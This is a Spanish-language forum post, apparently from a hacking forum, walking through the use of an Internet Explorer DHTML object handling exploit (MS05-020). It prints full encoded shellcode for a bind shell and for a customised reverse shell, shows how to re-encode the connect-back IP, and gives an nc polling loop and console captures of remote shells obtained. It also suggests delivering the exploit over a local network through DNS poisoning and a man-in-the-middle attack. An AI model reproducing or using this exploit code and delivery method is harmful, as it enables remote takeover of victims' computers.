Exploit publicado el 12/04/05 en k-otik:
http://www.frsirt.com/exploits/20050412.InternetExploiter2.phpCriticidad: Muy peligroso, permite obtener una shell remota con privilegios de USUARIO.
El autor del exploit es skylined, el mismo q publicó el exploit para la vulnerabilidad del IFRAME en Microsoft Internet Explorer hace unos meses. Como la vulnerabilidad estaba cubierta por SP2, pronto se nos acabó el chollo...
Sin embargo, parece q este nuevo exploit
Internet Explorer DHTML Object handling Exploit para la vulnerabilidad MS05-020 sí q funciona con SP2, pero tiene q darse una conjunción planetaria para lograr hacer funcionar este exploit...
El funcionamiento es el siguiente:
0) No tener el parche KB890923 instalado en el sistema víctima.
1) Copiar el código HTML al bloc de notas y guardarlo como exploit.html. Inmediatamente, saltará el Norton AV diciendo q ha detectado un archivo malicioso... (1st hit).
2) Abrir el exploit.html con Microsoft Internet Explorer. Si tienes SP2, el Internet Explorer te bloqueará la ejecución de ActiveX y te mostrará la barrita amarilla en la parte superior del navegador. Acepta la ejecución del ActiveX... (2nd hit).
3) Si tienes un pop-up blocker, no te dejara q se abra una ventana secundaria necesaria para q el exploit se ejecute. Deshabilita el pop-up blocker... (3rd hit).
4) Se abrirá una ventana secundaria donde Internet Explorer te volverá a bloquear la ejecución de ActiveX. Así pues, acepta la ejecución del ActiveX... (4th hit).
5) Ahora sí, se explota la vulnerabilidad y se ejecuta el contenido de la shellcode: Win32 bindshell (port 28876, '\0' free, looping).
Como ya vimos en el exploit IFRAME, el puerto 28876 sólo permanecerá abierto mientras el iexplorer.exe siga en ejecución. Esto es, varios segundos... imposible acertar a conectarse con nc!!
Truco: Antes de empezar a testear el exploit, dejar al nc haciendo polling contínuo al puerto 28876, esto se consigue metiéndolo en un bucle FOR:
C:\FOR /L %i IN (1,1,10000) DO nc ipvíctima 28876
Al cabo de un tiempo, el nc se conectará al puerto 28876 y obtendrá la shell...
Bueno... ahora empieza lo divertido...
Joooo!!, q rollo eso de tener q esperar a q se abra el puerto 28876 y tener q conectarme con el nc justo en el instante preciso...
Aunq esto se medio soluciona con el Polling contínuo del nc, no deja de ser una chapuza...
Lo más elegante es sustituir la shellcode por una más eficiente, como una shellcode reverse shell, así q desempolvamos nuestro viejo tutorial de Gospel llamado Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.pdf, que podéis encontrar en el hilo:
http://foro.elhacker.net/index.php/topic,45618.msg228991.html#msg228991http://www.geocities.com/unrayodesoul/gospel/Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.pdf Mirror:
http://personal.telefonica.terra.es/web/alexb/manus/Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.zip En este paper se habla sobre como modificar una shellcode en string hexadecimal a UTF-16, para poder implementarla en el exploit HTML. Este método sirve igual para el exploit IFRAME como para este DHTML Object handling, con el q ahora tratamos... (antes comentaba q el autor del exploit es el mismo...)
Hay q cambiar la parte del exploit q dice:
sShellcode = unescape("%u3737%u3737" +
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to
// HDM and others for inspiration and borrowed code. Source:
// www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
"%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea" +
"%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf" +
"%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64" +
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850" +
"%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff" +
"%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22" +
"%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6" +
"%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe" +
"%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031" +
"%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56" +
"%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964" +
"%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353" +
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343" +
"%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031" +
"%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b" +
"%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
por nuestra shellcode reverse shell personalizada para una connectback IP específica:
sShellcode = unescape("%u3737%u3737" +
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to
// HDM and others for inspiration and borrowed code. Source:
// www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
"%uE1D9%u34D9%u5824%u5858%u8058%uE7E8%uC931%u8166%uACE9%u80FE%u9230%uE240%u7AFA%u92A2%u9292%uDFD1%u92D6%uEB75%uEB54%u6B7E%uF238%u9B4B%u3F67%u7F59%uA96E%uDC1C%u7E9C%u4AEC%uE170%u4B3F%u5C97%u6CE0%u8421%uC1C5%uCDA0%uA0A1%uD6BC%uDEDE%u9392%uC6C9%u771B%uCF1B%uF892%uCBA2%u19F6%u1993%u9ED2%uE219%u3F8E%uCA19%u799A%u1F9E%uB6C5%uC0C3%u426D%u511B%u79CB%uF882%uCC9A%u7C93%u9AF8%u19CB%u92EF%u6B12%uE696%uC376%u6DC1%u1DA6%u1A7A%u9292%uCB92%u961B%u701C%uA379%uF46D%u7E13%u9302%uFAC6%u9393%u9292%uC76D%uC58A%uC5C5%uD5C5%uD5C5%u6DC5%u86C7%u511B%u6DA3%u98FA%u9298%uFAD7%u9290%u83B0%u731B%u82F8%uC1C3%uC76D%u1782%uE752%u1FDB%uB6AE%u52A3%u87F8%u61CB%u5439%uB6D6%uD682%u55F4%uB6D6%u93AE%u1B93%uB6CE%u1BDA%uB6CE%u1BDE%uB6CE%u1FC2%uB6D6%uC682%uC3C2%uC3C3%uC3D3%uC3DB%u6DC3%u92E7%u6DC3%uBAC7%u731B%u9C79%u6DFA%u6D6D%u6D6D%u6DA3%uB6C7%u6DC5%u9EC7%uC76D%uC1B2%uC4C7%u19C5%uB6FE%u198A%uAED7%uC619%uEA97%u7893%uD819%u198A%uB2C8%u7993%uA071%u19DB%u19A6%u7C93%u6DA3%uA36E%u3E52%u72AA%u95E6%u5D53%u939F%u7955%uA960%uB6EE%uE786%u1973%uB6C8%u7993%u19F4%uD99E%uC819%u938E%u1979%u1996%u7A93%u9079%u52A3%u781B%uCCCD%uC9CF%u9A50%u6592%u446D%u4F58%u0052");
El algoritmo para cambiar la dirección connectback IP a la q el exploit debe devolver la shell remota es el siguiente:
// Connnect back IP: 10.10.0.69 (en decimal) > \x0A\x0A\x00\x45 (en hexadecimal) > > \x98\x98\x92\xD7 (XOReando con 0x92)
// \x98\x98\x92\xD7 codificado en UTF-16 -> %u98**%u9298%u**D7
// @ Puerto 8721
Con esta modificación del exploit, obtendremos la shell muchísimo más rápido que si tenemos q esperar a q se abra el puerto para tener q conectarnos con nc.
Para testear esta modificación del exploit, guardamos el exploit.html modificado, dejamos en escucha el nc en el puerto 8721 y lanzamos el exploit siguiendo los pasos arriba descritos. En cuanto se ejecute la shellcode, obtendremos al instante la shell remota.
Estas dos capturas de consola muestran cómo se obtiene la shell remota:
1) Shellcode Bind port 28876:
C:\>FOR /L %i IN (1,1,10000) DO nc 10.10.0.69 28876
C:\>nc 10.10.0.69 28876
C:\>nc 10.10.0.69 28876
....
C:\>nc 10.10.0.69 28876
C:\>nc 10.10.0.69 28876
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Breeze\Escritorio>
2) Shellcode Reverse Shell al puerto 8721 en connectback IP 10.10.0.69
C:\>nc -l -p 8721 -vv
listening on [any] 8721 ...
connect to [10.10.0.69] from gospel [10.10.0.69] 1391
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Breeze\Escritorio>
Sobre la vulnerabilidad:
There is a race condition when using appendChild to append an element in one window to an element in another. A "dirty" read can be exploited to gain control over the process.
Por eso el exploit necesita abrir dos ventanas de Internet Explorer.
Lo del ActiveX, pues hasta eso ya no llego... la verdad es q es un engorro q el navegador bloquee la ejecución del exploit por el Control de seguridad de ActiveX. (Alguien sabe q parte del exploit ejecuta contenido ActiveX??)
Mi conclusión es q el nivel de criticidad del exploit es bastante elevado, ya q permite obtener una shell remota con privilegios de USUARIO. Utilizando este exploit en un entorno de Man in the Middle + envenenamiento DNS con Cain, redireccionando la url
www.google.es a una IP cuyo servidor HTTP sirva el .html malicioso, es bastantea factible obtener una shell remota de una víctima situada en nuestra red local. Sin embargo, el hecho de haya que saltarse el nivel de protección de un pop-up blocker y del bloqueador de ActiveX del Internet Explorer en Windows XP SP2, hace q las probabilidades de q una víctima llegue a ejecutar el exploit en su sistema sean muy pequeñas... (tal vez si la víctima utiliza SP1 y no tiene pop-up blocker). Aún así, no ha estado mal trastear con este nuevo exploit...
Algo q comentar??
Salu2